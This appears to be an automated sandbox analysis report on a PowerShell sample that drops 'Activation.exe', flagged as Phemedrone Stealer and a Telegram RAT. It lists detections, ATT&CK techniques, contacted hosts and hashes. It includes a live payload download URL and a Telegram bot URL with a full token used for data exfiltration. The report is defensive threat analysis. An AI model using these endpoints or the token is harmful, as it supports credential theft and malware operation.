Source: Yara match	File source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 7808, type: MEMORYSTR

Yara detected Phemedrone Stealer

Source: Yara match	File source: 00000005.00000002.1962005815.0000000003554000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.000000000356B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	861 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	571 Virtualization/Sandbox Evasion	Security Account Manager	571 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gCK3ozTL7Q.ps1	8%	ReversingLabs	Text.Malware.Jatommy

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Activation.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Activation.exe	42%	ReversingLabs

Source	Detection	Scanner	Label
http://45.200.148.86	0%	Avira URL Cloud	safe
http://45.200.148.86/Activation.exe	100%	Avira URL Cloud	malware
https://api.teleLR_q	0%	Avira URL Cloud	safe
http://get.geojs.iod	0%	Avira URL Cloud	safe
https://get.geoj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
get.geojs.io	172.67.70.233	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.200.148.86/Activation.exe	false	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument	false		high
https://get.geojs.io/v1/ip/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/	Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1541508965.000001EF170C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1466694756.000001EF07142000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1541508965.000001EF16F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.teleLR_q	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/freakcodingspot	Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.1466694756.000001EF07E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://get.geojs.iod	Activation.exe, 00000005.00000002.1962005815.0000000003511000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/TheDyer	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.200.148.86	powershell.exe, 00000000.00000002.1466694756.000001EF08B19000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://get.geoj	Activation.exe, 00000005.00000002.1962005815.000000000350D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://get.geojs.io	Activation.exe, 00000005.00000002.1962005815.0000000003511000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocumentd	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	false		high
https://get.geojs.io	Activation.exe, 00000005.00000002.1962005815.0000000003507000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1541508965.000001EF170C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1466694756.000001EF07142000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1541508965.000001EF16F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.orgd	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1466694756.000001EF06F11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1353225428.00000289A92C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1466694756.000001EF06F11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1353225428.00000289A92C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003507000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.microsoft.co	powershell.exe, 00000003.00000002.1377778315.00000289C16FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/webster480	Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
45.200.148.86	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568340
Start date and time:	2024-12-04 15:11:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gCK3ozTL7Q.ps1 renamed because original name is a hash value
Original Sample Name:	c185695a5c260e4c77fe5a0999ce23f9a3ea45f89b15003a18e8c3052e75beb6.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@8/15@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 68% Number of executed functions: 144 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Activation.exe, PID 7808 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7336 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7552 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: gCK3ozTL7Q.ps1

Simulations

Behavior and APIs

Time	Type	Description
09:12:05	API Interceptor	66x Sleep call for process: powershell.exe modified
09:12:34	API Interceptor	36x Sleep call for process: Activation.exe modified
09:13:07	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://www.bing.com/ck/a?!&&p=b3ddcc612c5f63024f18df0521265aa33742187d0b01744f07bf6348af8f753eJmltdHM9MTczMzE4NDAwMA&ptn=3&ver=2&hsh=4&fclid=26e9525e-8a77-6109-2437-46988be9608d&psq=superpitmachinery.com&u=a1aHR0cHM6Ly9zdXBlcnBpdG1hY2hpbmVyeS5jb20v&ntb/#fi-weixiang.ong@falconincorporation.com	Get hash	malicious	Unknown	Browse
	PAYMENT RECEIPT_pdf.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
172.67.70.233	system.exe	Get hash	malicious	Phemedrone Stealer	Browse
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse
	DBp7mBJwqD.exe	Get hash	malicious	Phemedrone Stealer	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkeyconserv.com%2Fskoda%2FWIA2PParYO43z1bgCVStAX12/ZHVjZXIua2FtZ2FuZ0BjbmVzc3QuZ291di5xYy5jYQ==	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ffilmycurry.in%2Fskoda%2FBxs3IiLfKU2eWewQOro8W1Fa/dGVycmkucm9zYUByYXZlaXMuY29t	Get hash	malicious	Tycoon2FA	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk.%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FlZUdcjNeQOlJngwGts6Dr8m3/Y2hhZC5yYXNtdXNlbkB0aGVybW9zeXN0ZW1zLmNvbQ==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://www.google.com/url?q=dCSMjVnvsqsqaP8pEWWm&rct=SpPq9HncUaCXUtCZusX0&sa=t&esrc=uZR6jk9A67Rj7RZhLuPE&source=&cd=eh0xIKCKpKh7i4kTt26p&cad=VEVtMkQKVNr1KW4fxShi&ved=NTDACygNXetEDbRT8YiY&uact=%20&url=amp/mithunaads.in/M%2f45043%2FaGFucy5hbmRlcnNvbkBhZy5zdGF0ZS5tbi51cw==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk%2E%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FBpORLlSyDHhQozoQ5XBZtBNm/dGhvbHplckByZGd1c2EuY29t	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://g.page/r/CbPyKO_ogGK3EAg/review	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	P09Qwe9fqsKdQIyTGnGxNs8xS[1]	Get hash	malicious	Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
get.geojs.io	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	ZOL2mIYAUH.exe	Get hash	malicious	Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT	Browse	104.26.0.100
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	system.exe	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	WDSecureUtil.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
api.telegram.org	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.bing.com/ck/a?!&&p=b3ddcc612c5f63024f18df0521265aa33742187d0b01744f07bf6348af8f753eJmltdHM9MTczMzE4NDAwMA&ptn=3&ver=2&hsh=4&fclid=26e9525e-8a77-6109-2437-46988be9608d&psq=superpitmachinery.com&u=a1aHR0cHM6Ly9zdXBlcnBpdG1hY2hpbmVyeS5jb20v&ntb/#fi-weixiang.ong@falconincorporation.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	PAYMENT RECEIPT_pdf.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi _PDF_.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	o26qobnkQI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	xoJxSAotVM.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	wa6qrGANga.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.58.186
	3K5MXGVOJE.exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	https://www.aviatorsharkao.com.br/atuuss	Get hash	malicious	Unknown	Browse	104.21.43.244
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	172.67.181.44
	RzLnOTy9k3.lnk	Get hash	malicious	LummaC Stealer	Browse	172.67.209.252
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
Africa-on-Cloud-ASZA	nsharm.elf	Get hash	malicious	Mirai	Browse	156.228.63.29
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.228.141.214
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	45.197.47.177
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	45.206.103.204
	arm5.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	154.200.41.70
	arm5.elf	Get hash	malicious	Mirai	Browse	156.228.141.234
	hmips.elf	Get hash	malicious	Mirai	Browse	156.228.63.79
	ppc.elf	Get hash	malicious	Mirai	Browse	156.228.38.78
	arm.elf	Get hash	malicious	Mirai	Browse	156.228.38.66
	arm7.elf	Get hash	malicious	Mirai	Browse	156.228.141.240

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220 172.67.70.233
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220 172.67.70.233
	RzLnOTy9k3.lnk	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220 172.67.70.233
	QwLii5vouB.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 172.67.70.233
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.70.233
	Documenti di spedizione.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220 172.67.70.233
	bestimylover.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	149.154.167.220 172.67.70.233

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Activation.exe_26ab4a80649226ef72b617f0363ab7e580802da1_849d4886_3664d1b9-da5c-41e9-9ad6-c578eccf6c83\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.307904028959176
Encrypted:	false
SSDEEP:	192:bWV9rmShf0BU/wjAP6eJZrWyczuiFfZ24IO8oN:m4SKBU/wjCiyczuiFfY4IO8oN
MD5:	9779ABC3591EAE18A8DC80305BA2C02C
SHA1:	32FE7A9FDDA8E12606FC52D2BF68D037E0CF8A5F
SHA-256:	D8AF1788C9B408F3E0D1349D6B2C11443B67EF45FB4AE8945390CA0494C16A91
SHA-512:	BEE6B99099506CB3D3A906B185355D24785C8DDB5C06927F7FEAF07D9724AA3A55DCB2506F3DBE04E590ABAF46FAE1A7C8CF36FEE98DCDB021191750CBF1D565
Malicious:	false
Reputation:	low
